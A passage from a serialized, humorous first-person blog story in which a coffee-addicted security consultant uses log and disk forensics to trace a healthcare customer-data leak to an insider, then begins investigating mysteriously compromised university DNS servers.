“You tell me, Chief.” he quipped as he opened his laptop bag and removed a gold CD-ROM encased in a chain-of-custody bag. “Thorough… I’m liking this already.” I said as I made my entries on the COD bag.

I opened the bag and examined the CD-ROM. It was marked with a single number in magic marker.

“Tracking number.” I assumed as I slid the CD-ROM into my powerbook for examination.

The CD mounted flawlessly, and Thomas moved closer to lend some insight as to the CD’s contents.

“I followed your directions to the ‘T’, Chief. This is the web access log archive for the day in question. I filtered using the two methods you asked for. The first shows all access broken out by developer, network monkey, security personnel, etc. Essentially it’s every proxy ID we have. The second method was broken out by domain. I also completed a correlation analysis - it’s the openoffice document marked ‘CORANA’.”

“Close the door.” I said, motioning to Thomas with a wave of my hand.

I spent the next hour going through the logs with Thomas, stopping frequently to identify user ID’s and get explanations of traffic patterns to certain domains.

“Chief, I’m not quite sure of where you’re going with this… but if you have a hunch I wish you’d share!” Thomas said as he picked up the phone to ask the receptionist to bring us coffee. Heck, we were a stone’s throw from the break room. I had a feeling Thomas was having fun with this investigation.

(Quick Aside)

You’ve probably already figured this out, but I recruited Thomas in relative secrecy to retrieve several critical pieces of investigative evidence. Only myself, Thomas, Rick, Paul and “Mr Pickle” knew about the request I made.

(/Quick Aside)

Another few minutes of log parsing passed, and a knock at the door could be heard. Thomas opened the door and retrieved two large, 24oz cups of coffee goodness from the receptionist. I was really starting to be impressed with the skills that Thomas had - with information security and coffee selections.

My browsing through the log files came to an abrupt stop. I read the next several lines over and over again. My hunch had paid off big time.

“Uh, Chief… do you feel okay? What did you find?” Thomas asked in a very concerned voice.

“Interesting domain for a database analyst to spend time on - considering that it is banned by the security policy that I wrote a year ago for this place.” I said, pointing at the Powerbook’s screen with my pen that I was so busily chewing on.

“What domain would that be, Chief?” Thomas asked.

I drew an imaginary circle around the domain on the screen - and stared in disbelief.

Source: archived original

Part VII · Feb 21, 2005

Hundreds of years ago, kings built fortresses around themselves to prevent invasions by intruders and, in some cases, the populous from leaving. Chelsea Healthcare had hired me years ago to build such an electronic fortress, designed to withstand Ghangis Khan himself.

As any construction worker will tell you, a structure is only as strong as the weakest part. In the case of Chelsea Healthcare, the weakest part was proven to once again be the human element.

Our story continues… Thomas was staring at me like a deer caught in the headlights of a Toyota Tundra. He seemed to be paralyzed by curiosity and fear at the same time. I was almost entertained by his blank stare.

“Can I get to the administrative web page for the proxy server from this network?” I asked, waving my hands in front of Thomas.

“Uh, sure. Yeah. No problem. Here’s the IP address.” Thomas replied as he scribbled an IP address on a sticky pad.

I peered at the IP carefully and typed the address into my Mozilla Firefox browser. Bam! The administrative login page was brought up in mere seconds.

“Thomas, I need you to login to the proxy server so I can perform a quick search of the content filtering database.” I asked, sliding the beautiful powerbook across the desk.

Thomas logged in to the proxy server, and slid the powerbook back toward me.

“You’re in. Let’s see some magic.” Thomas joked as he maneuvered behind me for a closer look.

I clicked on the text box marked “domain entry” and typed in the URL I was looking for:

_ gotomypc.com _

“Holy shnikies! Are you serious?” Thomas said under his breath.

After a few seconds, the content filtering database returned the query.

_ Domain not found. The domain may not be spelled correctly, or the domain may have been removed. Please try your search again. _

“Just as I thought.” I said as I minimized Firefox. “Anyone with a proxy ID can access that site. I specifically banned that domain a few years ago. I’d like to know why it’s not in the database now.”

Thomas thought for a moment and took a long drink of his coffee.

“I can tell you how, Chief.” Thomas said.

“I removed it myself.”

Source: archived original

Part VIII · Feb 28, 2005

“I beg your pardon?” I asked Thomas as I sat back in my chair. “YOU removed that domain from the content filtering database? Why the hell would you do something like that?”

“It’s not what it seems, Chief. About six or so months ago we had a vendor come in that was demoing a ‘dashboard’ application that the suits upstairs were raving about. The vendor set up their equipment in the boardroom, and unbeknownst to us, needed to access gotomypc.com to run the demo. When they tried to access the site using the temporary proxy ID that we gave them, they were denied access. This delayed the demo by almost twenty minutes, and the suits were furious - including Frenchie.” Thomas explained.“So I’m going to guess that the suits demanded you allow access to that domain, and nobody ever put the domain back into the content filtering system?” I surmised.

“Yeah. Yeah, that’s it. What do we do now? What’s the plan?” Thomas asked as threw his empty coffee cup in the trash.

“First, we go hit Starbucks. This coffee is ok, but it has to be decaf. Second, all of the evidence that I’ve seen so far is circumstantial at best. I think I’m going to talk to Rick and ask him what he’d like to do. Our options are very limited at this point.” I replied.

We walked down the hallway on a long trek to Starbucks. My gut was right on the mark so far, even on low-octane coffee.

(Quick Aside) This is a rough place to be. You have some pretty strong circumstantial evidence against an employee, but nothing concrete. What are your options? These really depend on the client and what their goal is. You should have established the goal in your first meetings with the client. In this case, the goal was to find out how the potential customer’s information was compromised and given to an outsider.

Let’s summarize where we are so far in this case:

We know that a potential customer’s information reached a third party by two hypothetical means: a) Spyware on the customer’s computer. We can’t explore this avenue due to political and legal reasons. b) Inside job. Someone at Chelsea is sending out information to a third party.
We have established that an employee (a DBA) made a connection to another machine somewhere on the internet via the gotomypc.com service. Gotomypc works through proxy firewalls. a) We don’t know exactly where the other computer was b) We don’t know exactly what the DBA was doing
We have a theory - that the DBA has been passing information outside of Chelsea via this service. The recent event (with the potential customer) coincided with a login time in the web logs. a) We haven’t searched too far back in the web logs. How long has the DBA been doing this? b) We don’t have any other recorded complaints of information abuse/theft.

(/Quick Aside)

I called Rick on his cell phone while Thomas drove me to Starbucks.

I explained the situation to Rick in great detail. I was half-way through ordering a Venti cup of coffee when Rick dropped another bombshell.

“Are you sure that the DBA in question was Howard Ness?” Rick asked.

“Positive - the id was hness and the IP address in the web log was assigned to his workstation.” I replied.

Rick was silent.

“We have another problem.” Rick said.

Source: archived original

Part IX · Mar 9, 2005

“What do you mean he’s DEAD?” I blared into the phone. I paused for a moment and realized how stupid my statement sounded.

“Chief, Howard Ness was 61 years old and suffering from an inoperable brain tumor. He died a few weeks before all of this went down.” Rick responded.

“I’ll call you back.” I told Rick as I closed my cell phone.

I sat motionless at my table inside Starbucks, staring blankly at my cell phone.

Was I at a dead end in this case already? Time to regroup.

“Thomas, I’m going back to my home office for the rest of today. Drop me off at my truck.” I said, still staring at my cell phone as if I was waiting for it to do a trick or two.

A little over an hour later, I arrived home and was eager to spend some quality meditation time thinking about the events that had transpired today.

I sat down at my desk and opened my folder of requested documents. I was drawn to the organizational chart of Chelsea.

“Howard Ness reported to the Database Development Manager.” I mumbled to myself. “The department had three full-time employees. One was Howard, one was the manager, and one… one was Jack Samuelson.”

After cross-referencing some HR employment records, it appeared that Howard and Jack had worked together for just under a year, and were situated in neighboring cubes.

Gut instinct took over.

I searched through the last 30 days of proxy logs for the “hness” id and found multiple hits on gotomypc.com.

“Ness is back from the dead!” I said sarcastically to myself.

I then searched for the id “jsamuels”, and saw a typically browsing history for a DBA. Hits to microsoft.com, oracle.com, various trade magazines and a couple of sports sites.

Wait. Something wasn’t right.

I scrolled back through another window that displayed the “hness” query. The userid was used on a machine with an IP address of 10.1.1.79.

I scrolled back through the window that displayed the “jsamuels” query. the userid was used on a machine with an IP address of 10.1.1.57.

However, for a brief moment in time (two http GET requests), both of the user ids’ came from 10.1.1.57.

Mr. Samuelson slipped up.

Source: archived original

Part X · Mar 21, 2005

“That’s what I’m telling you, Rick. This is all circumstantial at best. You’d have a better time prosecuting a pickle for being green.” I said to Rick, smirking that I had successfully used a pickle reference in front of Jean-Claude. I was sitting in Jean-Claude’s office with Rick, presenting a brief analysis of my case findings and going over my recommendations. In one hand I held my 20-page findings document, in the other a piping hot white chocolate mocha with extra whipped cream. I was well caffeinated and trying to apply the clue banana to this very strange case.

“What about forensic analysis of the workstation?” Rick asked, glancing over at Jean-Claude.

“With your permission, I can do this tonight after everyone has gone home. But you need to face reality here - there may not be much to go on. If Samuelson went to this much effort to populate your customers’ data into a system outside the company in near-real time, he’s not going to make this easy.” I said. “Unless he messes up - twice.”

“Twice?” Jean-Claude said as if suddenly awakening from a pickle-induced slumber.

“He screwed up once by accidentally using Ness’ ID on his machine. Thomas just scanned Ness’ old machine with a port scanner, and it looks like this workstation is mysteriously running a VNC server. It’s our theory that Samuelson is initiating a remote session on to Ness’ old machine, firing up a browser and initiating the gotomypc.com sessions.” I responded.

“Oui, but what about twice? He is going to screw up again?” Jean-Claude said, scrunching his nose a little higher.

“Yes - twice if he thinks he’s going to cover up his tracks well enough that I won’t find a few crumbs.” I said as I sipped the last of my mocha.

“Chief, what’s the plan? You have our support to do what you think needs to be done. Fill us in.” Rick said as he received a reassuring nod from Jean-Claude.

“I’m going to grab forensic images of both machines tonight, and spend the next day or two in my home office analyzing the data. If Samuelson left me anything at all, I’m going to produce it in my report and hand this case over to you as we previously discussed.” I answered as I tossed my Starbucks cup into the trash can.

“ARE you going to find something?” Rick asked.

Am I ever.

Source: archived original

Part XI · Apr 5, 2005

Like Scrappy on most of his blind dates, I was really beginning to regret showing up to this party. I received the proverbial “green light” from Chelsea management to grab the Ness and Samuelson workstations, and was sitting in my cozy bit of Chelsea real estate - on the floor.

“What the hell?” I asked myself, staring at the floor. My coffee buzz was wearing thin, and grumpiness was approaching. After a brief encounter with the delivery girl from the deli next door (15 minutes to deliver a sandwich and a large coffee - impressive!), I walked towards the elevator door.

I inhaled.

The door opened and I stepped inside. Within a few minutes I was stepping out of the elevator and staring at the two mystery workstations in their natural habitat. One was on Ness’ desk, the other on Samuelson’s desk. Both workstations had a single network connection in a crudely-made junction box that ran through the cube farm.

Out of curiosity, I stepped over to Ness’ dek. The LCD screen that sat atop the workstation was turned off. I pressed the “on” button and wiggled the mouse a bit. Seconds later I was staring at… a Windows desktop?

“Eh!” I said out loud to myself in an apparent attempt to locate other nearby Canadians.

This workstation should have been locked through an Active Directory policy setting.

Austin Powers had nothing on me as I snapped about ten pictures of each workstation from every angle I could manage.

Back at Ness’ machine, I stared at the system tray. VNC was waiting. Now I couldn’t wait to image this machine.

I reached around to the back of both machines, grabbed the power plugs close to the base of the power supplies and yanked. The sound of power supply fans coming to a halt could be heard.

I placed both machines on a nearby mail cart and pushed them into the elevator.

Several hours later I found myself at the monkey crib, coffee brewing, a fresh pepperoni pizza (with extra cheese) smoldering on my dining table, and two workstations having their hard drives imaged by Rosco via Encase.

“Life, it is good.” I joked as I bit into the first piece of pie. Heaven.

Time for a nap.

ring ring ring went my cell phone. “What time is it?” I thought as I glanced at the clock on the wall. Three hours had passed since my pizza-induced coma began.

“Chief” I said into the phone, rubbing sleep from my eyes.

“No, there is no Jose here. No I’m not lying! Senora, JOSE NO ESTA AQUI, COMPRENDE?” I yelled into the phone. I hate wrong numbers - especially when the same lady calls me every other day looking for her cheating husband.

I wandered into my lab to take a look at the imaged hard drives. I placed the original drives back into sealed bags and marked the date/time on the label. “Think procedure!” I reminded myself.

I attached the image of Samuelson’s machine to my forensic workstation and built a case with Forensic Toolkit.

Several hours into the morning (and a pot and a half of premium columbian dark roast) revealed exactly what I thought I would find on Samuelson’s workstation. Not a damned thing except for the VNC client executable. Interesting.

I powered down the workstation and peered at the image of Ness’s workstation sitting on the workbench. It was calling my name!

I built an FTK case of Ness’s drive and began my search. I didn’t have to search long.

beep boop beep beep boop boop beep beep went my cellphone as I dialed with one hand and held my ego with the other.

“Rick? Chief. We hit the jackpot.” I said. “Schedule a meeting with Frency & crew for tomorrow.”

“Right. What did you find?” Rick asked impatiently.

“The hole in the dike.” I replied.

Source: archived original

Part XII · Apr 17, 2005

“I am quite confused.” announced Frenchy as I was halfway through my presentation. A quick glance around the conference room revealed that no one was surprised.

“Let me go over this one more time.” I said as I restarted the Keynote presentation running on my Powerbook.

“This entire situation revolves around the deceased, Howard Ness. After an analysis of the contents of Ness’ workstation, several facts are apparent:_

Ness had been in financial trouble for quite a long time. Several Microsoft Word documents that were recovered by FTK (Appendix A in your hardcopy reports) show letters that were exchanged between Ness and several creditors. Ness had amassed a personal debt somewhere in the neighborhood of $150,000 for signature loans. A lot of these loans were being used to pay for medical treatments that weren’t paid for by Chelsea.
Ness had been in contact with two individuals, relationship unknown, via Yahoo Mail. Appendix B shows these mails as web pages that were also recovered in my examination.

Relevant quotes are in bold:

** “… I have access to that information but I’m not quite sure what your ‘schedule of production’ means in your last email…”

“… providing you with 10 people a day will be difficult at best…”

“… I am unable to connect to the machine that you indicated at 203.xxx.xxx.xxx. I am unsure what to do at this point…”

“… payment should be made in money orders only. I have provided you with the PO box address…”

“… bring a partner into the arrangement that can help meet the production requirements…”

“… Sam will be in contact with you regarding his production requirements and abilities…” **

Please note that these excerpts are referenced to entire or near-complete emails provided in Appendix C.”

Frenchy was rolling around in his seat like a fish thrown on a dock.

“Are you saying then, that Ness and Samuelson were involved in this type of activity?” French asked as he flipped through the Appendices of the report.

I attempted to make eye contact with him and gave an affirmative “Yes, that is exactly what I’m saying - and I believe this report will provide you with the information that you requested.”

Frenchy placed his head into his hands.

He kinda looked like a pickle sandwich.

Next update: The Conclusion!

Source: archived original

Part XIII · Apr 20, 2005

“Chief, can we skip to section 7 where you discuss the technical details? I’m still lost on this part.” Rick asked.

“Certainly. Section 7 details a flow of information using a very convoluted, if not inefficient, means of placing Chelsea customer information onto a system that was apparently owned by the two unknown individuals.” I began. _ “The flow of information went something like this:

Ness was privy to any new insertions into the tbl_new_websignup table of the db_chelsea_mkt database. Appendix G shows some SQL select statements that were recovered from the drive. Now, these commands could have been executed in the normal capacity of his job duties, however it would appear that he kept the results of his queries in Microsoft Word documents on his workstation.

If you compare the recovered documents in the last half of Appendix G with the list of compromised customer data listed in Appendix H, you’ll notice that all of the customers who have contacted you in ‘H’ are listed in ‘G’. Could be a coincidence, then again it could be a smoking gun.

Ness connected to gotomypc.com from his workstation to a specific machine on a daily basis outside of the Chelsea network. This machine was identified only by it’s IP address - which was recovered from his IE cache files in Appendix I. This is the same IP address indicated in the emails from Appendix B.

If you’ll flip back to the recovered MS Word documents, you’ll notice one called dtally.doc. Ness was keeping track of which sets of data he was submitting, and what that translated to in dollars. He was getting a mere $50 per submission. And from the same document you’ll notice that his ‘quota’ was 10 a day. $500 a day, seven days a week is $3500 a week, or $14k a month in cash. Very profitable for Ness.” _

The room was dead silent. Nobody was breathing. Was EMS going to be necessary here?

Frenchy coughed a few times and asked “Eh, now where did Samuelson fit into this?”.

“Let’s go over that one more time for clarification.” I said.

_ “Samuelson was working with Ness to meet the quota. I have been unable to determine why Samuelson was in ‘cahoots’ with Ness on this. There were some specific requirements for the people they were submitting, and to be quite honest I haven’t been able to locate what those specific requirements were from the forensic analysis of their workstations.

After Ness passed away, Samuelson took the entire operation over. He apparently wanted to keep the ‘heat’ off of his workstation, so he installed a VNC server application on Ness’ workstation, and connected to it from his own. Samuelson was keeping track of his activities the same way Ness was - and he stored the documents on Ness’ machine after Ness passed away.

If you look at the file creation date/time stamps on the VNC files, there is two minute difference between when the VNC server was installed on Ness’ machine and when the software was installed on Samuelson’s machine. Thanks to some quick support from technical services here at Chelsea, we were able to determine that no other machine in the the organization has VNC installed.

I want to point out here that (as I said before) while there is substantial technical evidence to support my theory, you will have to interpret this data as you see fit. I will leave this to your legal beagles.

Rick will have to follow up with his staff on why standard operating procedures were not followed to lock Ness’ account and secure his workstation after his death and termination from the company.” _

Stares of disbelief filled the room.

“So, a dead man has been responsible for sending our data out of the company? What a pickle sandwich this is!” Frenchy said as he closed his portfolio.

I’ve never wanted to slam my head into a boardroom table so bad.

The Chelsea legal team picked up the ball that I left them and ran with it. The last time I had burgers with Rick, he informed me that Samuelson was let go and they were still debating on a legal recourse. Insurance companies don’t like a lot of publicity.

Chelsea stepped up to the plate and informed the affected customers (or in most cases, potential customers) of the information disclosure.

Now if I can just figure out how to program all the local Starbucks locations into my GPS nav system in my truck I’ll be all set.

Where is that manual….

Source: archived original

14. Case of the Stealthy Spike

Wed, 27 Apr 2005 00:00:00 +0000

Part I · Apr 27, 2005

“And then she walks over to me and says ‘Let me guess Scrap, you forgot your wallet AGAIN!” Scrap belted into the other end of our cell phone conversation.

“Let me get this straight man, you’re seeing this girl for two months now, you take her to a nice restaurant, you have a nice meal, and then when the bill comes you forgot your wallet?” I asked in disbelief.“Yep, and then she reaches into her purse and pulls out my wallet and says ‘Not to worry babe, I remembered it for you’. She then pays the bill with my cash and tips the waiter 30%!” Scrap whined in between drags off of a cigarette.

“Exactly how many times did you think the ‘I forgot my wallet’ thing would work for you? I mean, REALLY?” I said as I let out a loud laugh. “And the funny part is that she figured out your scam and turned it around on you. Brilliant! I need to hire this girl.”

“Not funny Chief. Why should I have to pay every time?” Scrap asked.

“This is all very well and interesting man, but I’m driving down the freeway just waiting to hear about this job your guy at the school has for me?” I replied while trying to sound as annoyed as possible.

“Oh yeah, the job. Ok well you know Thom Fong, the IT dude at the school, right? He’s the guy you met when I gave you a tour of their new datacenter on campus? Well he has a curious problem with his internal servers - the ones that are only accessible from within the campus network.” Scrap said as he blew smoke into the mouthpiece of his phone.

“I’m listening.”

“Ok, ok… so somehow a person is getting r00t on all of his boxes and DoS’ing the boxes. They are completely unusable after this person does whatever they are doing.” Scrap said. “And I, of course, referred him to you.”

“Sounds good. I can be there tomorrow morning after my morning appointment with my doctor. Set it up and be there if you can when I show up.” I said, making an illegal U-turn upon spying a Starbucks on the opposite corner of the road.

“No probs man. Manana is my day off. And there’s a curve ball to this one.” Scrap announced.

“Isn’t there always? What kind of curve ball?” I asked.

“He thinks it’s an inside job of some sort.” Scrap replied.

Here we go again.

I better make my coffee a Venti.

Source: archived original

Part II · May 3, 2005

“You’re just going to have to cut back on the coffee, Chief. No buts about it.” Dr. Berry said as he read my test results. “Your caffeine addiction is playing havoc with your blood pressure and heart rate.”

“And I thought that was just my job.” I joked. The doc wasn’t laughing.

“Ok, ok. Decaf for me. How… criminal.” I said as unstuck myself from the paper on the examination table.

It was going to be a long day.I made my way down the freeway to the school, and fumbled with my cell phone to locate Scrappy.

“Yo Chief! What it is?” Scrap said as he answered his phone amongst a background serenade of noise.

“Where are you man?” I asked.

“I’m at the school. Some kind of pep rally or something going on out here. I’ll meet you in the faculty offices. Thom is in building C1 - office twelve.” Scrap said as he abruptly hung up on me.

“He must have spotted the next Mrs. Scrap.” I joked as the Starbucks cravings began.

This was going to be harder than I thought.

My footsteps echoed through the halls of building C1 as I paced about looking for Thom’s office. It wasn’t that hard to find as it was right next to the datacenter. How convenient!

“Hey Chief! I’m Thom! Thanks for making the drive.” Thom said as he ushered me into his office and located a chair for me to plop in.

“Yo! I brought the coffee man.” Scrap said, apparently 5 paces behind me.

“None for me thanks.” I said as passed on the java.

“EXCUSE ME?” Scrap said, his eyes as big as recordable CD discs.

“Doctor’s orders man. Thom - tell me about what you have going on here.” I asked as I changed the subject.

“Well, I prepared some network diagrams for you and a brief description of how the network is put together as reference materials.” Thom said.

“Groovy - I love diagrams. So what’s happening to your nameservers?” I asked, staring at Scrap’s cup of coffee.

“It is very strange indeed. At completely random times, our nameservers take on very heavy loads - so heavy that they stop responding to any traffic at all. We have to take them offline. We look around on them and it would appear that someone is getting in doing something nasty. We just can’t tell the how or what. " Thom said as he sat on his desk, narrowly missing a coffee mug full of pens.

“I’d like to examine one of these machines. Have you kept any machines intact after removing them from the network? Scrap tells me you are reformatting, reinstalling, reconfiguring and putting them back into service?” I queried.

“Hmmm. I think we have one machine that has not been put back into service. The attacks have slowed to around once every few weeks. My students don’t have the time or the expertise to investigate this kind of nonsense. Hence, the reason I asked you to look at this. I realize that this is probably a bit different and boring to some of the things that you have worked on - at least according to Scrap.” Thom replied as he slammed the rest of his coffee. I winced.

“I’ll have a look. Is the server still powered or did you shut it down?” I asked as we walked towards the datacenter.

“This machine is still powered on if my memory serves correctly. We just unplugged the network cable because we were in a hurry.” Thom said as he pointed to the server in a rack. It was a 1U Dell server, and it was missing it’s faceplate. A monitor and keyboard were plugged into the back of the server.

“Apparently you weren’t in too big of a hurry - looks like someone made an emergency console connection into this puppy.” I joked as I sat at the keyboard.

“That was me Chief. I knew you’d want to look at this baby.” Scrap said with a big toothy grin.

I just shook my head. What else had Scrap done? Perhaps it was time to send Scrap out for some cans of 7up.

“I really want to image this thing before we go poking around. However, I would like to run a few tools on the box before we image it.” I said.

“Scrap - get plugged in to that isolated switch there - let’s plug this baby in and see what responds.” I said as I pointed Scrap towards a standalone cisco switch.

Coffee or no coffee, this party was starting.

Source: archived original

Part III · May 9, 2005

I was quivering. The erratic motions weren’t from the low temperature in the school’s datacenter, but from a lack of artificial stimulants: I was going through Starbucks withdrawals.

tap tap tap I quickly looked up the words “withdrawal symptoms” on my PDA.

The definition wasn’t surprising:

withdrawal symptoms the unpleasant physical reaction that accompanies the process of ceasing to take an addictive drug.

Well, tell me something that I DON’T know there Webster.

Scrap was fumbling around with a Cisco 2924XL switch that was strategically placed on a table not too far from the target server. The switch was completely isolated - no network connections present. Scrap ran an ethernet connection from his laptop to the switch, and connected the ethernet cable from the server to the switch in a quick 30-second form of interpretive chimp dance. If only we had a crossover cable…

“Thom, can you verify the IP address and network settings for this machine? I’d like Scrap to configure his laptop with similar information so we can get some quality scans done.” I asked Thom as I sat down for a moment. The room was starting to spin a bit. I felt… sleepy.

“Sure, I have all that stuff written down. You look like you could use a break. Why don’t you go down to the lounge and get something to drink?” Thom suggested as he motioned for Scrap to grab the papers that he was being handed.

“Thanks, that’s a great idea. Scrap - when you’re locked and loaded, start a port scan. Don’t run any of the usual nessus plugins. I just want to look for listeners.” I said as I merged into the hallway.

Several minutes later I was seated in the faculty lounge admiring a fresh pot of what appeared to be Folger’s Classic. That smell…. it was so…. hypnotizing.

After determining that an 8 ounce cup of life wouldn’t hurt me, I quickly poured a mug full and applied liberal amounts of sugar and cream. I had to be 100% to work, and I wasn’t going to survive going cold turkey no matter what Dr. Berry thought.

I rested for a few minutes and let the magic java work it’s way into my digestive track, and then my circulatory system, and then the nervous system. My cylinders were firing, and my eyes brightened.

The Chief was back.

ring ring

I reached for my cellphone. Scrap must be done.

“Status?” I asked.

“I’m stumped.” Scrap replied, busily tapping on keys.

“And?” I asked more impatiently.

“I can ping all day long. But there’s not a single port responding on this box.” Scrap replied.

“Hmmm. Not unlike the symptoms described by Thom. " I thought.

“Wait.” Scrap cut in to my internal monologue. “What the…”

Perhaps this was going to be interesting after all…

Source: archived original

Part IV · May 14, 2005

“What! What?” I yelled as I walked back into the datacenter. Thom was anxiously peering over Scrap’s shoulder.

“I swear man, I just saw something weird. I increased the frequency of my port scan and reduced the number of ports to common services… and every few seconds I get a blip of… THERE! THERE!” Scrap said as he froze his console window. I squinted at the screen and moved in closer for a better look. I had to keep in mind that sometimes Scrap sees aliens in his bedroom and periodically accuses his socks of plotting against him.

“Ok, I see the results you’re talking about. And these only come up every once in a while?” I asked as I scratched my forehead.

_ Discovered open port 22/tcp on x.x.x.13 Discovered open port 25/tcp on x.x.x.13 Discovered open port 21/tcp on x.x.x.13 Discovered open port 53/tcp on x.x.x.13 _

This was a new one. Services that reveal themselves randomly. Now I had seen everything.

“Whatcha make of this, Chief?” Scrap said as he attempted to connect to a few of the services.

“I’m thinking that…” I trailed off as I watched Scrap in horror.

“Scrap, what the hell are you doing?” I demanded as he was logging in to the server via the console keyboard.

“Watch!” Scrap said as he typed “top” and hit enter.

The server worked for a bit, then returned to the command prompt.

“Huh?” Scrap said as he started to type the command again.

I quickly secured the keyboard and proceeded to scold Scrap like a 6-year old stealing ice cream.

“Dude, we do NOT work on live filesystems - and we do NOT run executables on those filesystems! You may have just screwed us big time.” I said as I proceeded to break my own rule and type “cd / && ls -la” on the keyboard.

I had a bad feeling about this.

_ dns13 #cd / && ls -la total 0 dns13# _

“Hey, where’s the filesystem?” Scrap said, almost knocking me out of the way to share my stare of disbelief at the prompt.

“Chief, what’s going on?” Scrap asked.

“I’m wondering if we’re ever going to know now - but I’ll bet a venti house coffee with cream and sugar that your top command was trojaned to erase the filesystem.

My doctor picked a HELL of a week to ask me to kick coffee.

Source: archived original

Part V · May 17, 2005

“Dammit Scrap.” I said as I sat down in a chair parked close to the desk. “You can’t do stuff like that when a live investigation is in progress. I’m glad you hooked me up with this gig, but you have to let me steer this spooky ship to port. Comprende?” I asked, gazing at the top of Scrap’s head. He was staring a hole into the floor. “Sorry man. Seriously. I had a gut feeling and just went with it.” he lamented.

“What now?” Thom said, removing his hands from his pockets. “We don’t have any other servers for you to look at that were exhibiting the same behavior.”

I collected my thoughts and rubbed my eyes.

“Strategy shift.” I blurted out.

“Eh?” Scrap whimpered.

“We need to think about this differently now. We could be dealing with several different grades of digital ‘ammunition’ here. We suspect the system was trojaned, so the probability that other dns servers are trojaned is pretty high in my betting book right now. We need to find a motive. We need to find some tracks. We need more coffee.” I said as I stood up for a painful stretch.

“I can handle the coffee for you guys.” Thom replied as he exited the datacenter door.

“Maybe I’ll just sit here.” Scrap said, still staring at the floor.

“Look, we all make mistakes. This was an expensive one. Learn from it. Let’s move on.” I said as I walked over to a buzzing rack of servers, all marked “DNSxx”. Why a university needed so many DNS servers was a puzzling question - but even better - why were they all located in one physical plant? Unusual from my experience.

“I see 7… 8… 9… 10 servers marked DNS here. They are all in the same network. They are all powered on. This one looks particularly interesting…” I trailed off, pointing to the server on the bottom of the rack marked “DNS PRIMARY”.

“Are we going to check it out, or take a picture?” Scrap said as he perked up.

“I want to take that box down.” I said under my breath.

“Eh?” Scrap responded.

“I said I want to take that box down - go get Thom. I want to look around on the box, but not while it’s running.” I said as I made my way out of the datacenter. “I’m going to the car to get my gear. Be back in a second.”

“Chief? What’s the plan man?” Scrap yelled into the hallway.

“We’re going to take a picture.” I responded back.

My kind of picture.

Source: archived original

Part VI · May 28, 2005

It was hot. Really hot. The walk out to the parking lot in 105F+ weather was brutal. A slight breeze blew by me as I paced through the parking lot with my equipment bag slung over my shoulder.

“So THIS is what a roast feels like in my convection oven.” I thought to myself a I wiped a large band of sweat from my forehead. I was twenty feet from the door of building C1 when I felt the cool breeze of air conditioning hit my face as a student exited the building. Pure paradise.“You’re going to take pictures of the servers? What good is that going to do us?” Scrap asked as I placed my equipment bag on the floor of the datacenter.

“Not so much a picture as it is a snapshot.” I said with a grin. “Let me put this into terms that you’ll understand. It’s like taking a CAT-scan of your head, then wandering around the images of your cranial cavity looking for brain matter. It’s a tough job, but we have hope - so we’re sure we’ll find something.”

“Oh I get it.” Scrap said with a serious look on his face. “You’re going to make a duplicate of the hard drive in the server, then look at the duplicate for evidence?” Scrap asked.

Apparently he didn’t get my joke.

“Precisely. Did Thom go to get his sysadmin kid? What’s his name?” I asked, unzipping the equipment bag and removing the contents.

“Uh, I think his name was Jack. Or Jim. No, Jared! Yeah his name was Jared.” Scrap said with a scratch of his scalp.

“Alright, when Jared gets here I’m going to ask him to double-check that we can take this server offline without harming the school’s network. Once we get the OK, we’re going to pull the cord and make an image of the drive.” I muttered. “However - I want to get a network traffic sample too. Do you think you can handle putting a network tap in and grab a few hundred megs of traffic here and there?” I asked Scrap as I handed him an ethernet tap.

“I am SO on that man. No worries dude!” Scrap said as he sauntered off to the patch panels located on the other side of the room. Surely Scrap couldn’t screw up a simple ethernet tap from this network switch to the core switch - could he?

“Uh, Scrap, don’t you want to know WHAT I want captured?” I yelled over to the other side of the room. Scrap tended to use the “shotgun” approach to everything he did, which was quite dangerous in an investigation.

Scrappy wandered back around to my side of the datacenter.

“Oh, you don’t want me to capture everything?” Scrap asked as he reached for his cup of cold coffee.

“We start small and work our way up. I want to get some samples of traffic from each of these machines. Are they communicating on ports that we don’t know about? Who are they talking to? What are they sending and/or receiving? This is going to be very important, so double-check your capture settings.” I demanded as I passed Scrap his notebook.

“Got it.” Scrap said while giving me a salute with his left hand.

Meanwhile, Thom had reappeared with his systems administrator Jared. I took a few minutes to introduce myself and to explain to Jared what we were trying to accomplish. Jared was a student in his early twenties, pale as an albino, and apparently still believed in the alluring look of the mullet.

“Uh, I don’t think we want to take any of those machines down.” Jared said, looking off into the distance. He then proceeded to wander around the rack of servers, carefully examining my equipment and peering at the back of Scrap’s head.

Interesting.

“Jared, I really need to image one of these machines as part of my investigative process. Perhaps we could take one of the others down?” I asked politely.

Jared thought for a few seconds and walked back towards Thom. With a quick shrug of his shoulders he addressed my concerns with a long list of technical reasons why each of the DNS servers was required.

I wasn’t buying it.

Source: archived original

Part VII · Jun 1, 2005

“Uh-oh.” Scrap mumbled as I walked towards him. “You have that look on your face.”

“It’s worse than you think. I have that attitude thing going as well.” I said as I motioned for Scrap to join me out in the hallway for some privacy.

“Oh man. Is this guy the suspect? You got it figured out already man?” Scrap asked as he nervously searched his pockets for a cigarette that he’d have to go outside in the 105F weather to enjoy.“This guy Jared is either trying to royally BS me, or he really has no idea what is going on around here. He just told me that he has one domain being served by each of the servers for DNS load distribution.” I spouted off as I nudged the wall with my shoe.

“He what? We both know that is a bunch of sh…” Scrap blurted out as I interrupted him.

“Wait. Wait, wait, wait. Scrap, why would you think you needed to dedicate an entire server to publishing a single domain name?” I quizzed Scrappy.

“Uh, cuz you’re a moron?” Scrap responded, sliding that cigarette behind his ear.

“Besides that. If your server is so damn busy doing other things, name resolution is going to be very slow, right? Even for one domain!” I said as I smacked my forehead.

“So Jared really has no idea what is going on, probably logs in every once in a while to edit a zone file, and someone else 0wnz his boxes.” Scrappy suggested.

“You’re not far off from my own theory. Go grab your laptop and let’s look over some traffic captures. I’ll go keep Jared occupied.” I said as I turned around to enter the datacenter.

“Chief, I have to apologize. I got to thinking about your request, and I completely overlooked the fact that we take… well not on purpose… one of these guys offline all the time when they stop responding. I go to login and the filesystems are destroyed. Weirdest thing ever. Anyways, I can image and prep that machine that you guys have on the table over there, slide it into the rack and we can down that server afterall.” Jared said, his eyes looking rather sincere.

“I’ll help Jared.” Thom volunteered. “We’re experts at this by now.”

“Deal. I’ll leave that up to you, I need to work with my… assistant.” I said, trailing off as I walked back towards Scrap’s location on the other side of the datacenter.

“Yo man, we got a real head-scratcher here.” Scrap announced as I sat down on the datacenter floor next to him.

“Eh? What’s your portscan show on that production box?” I inquired.

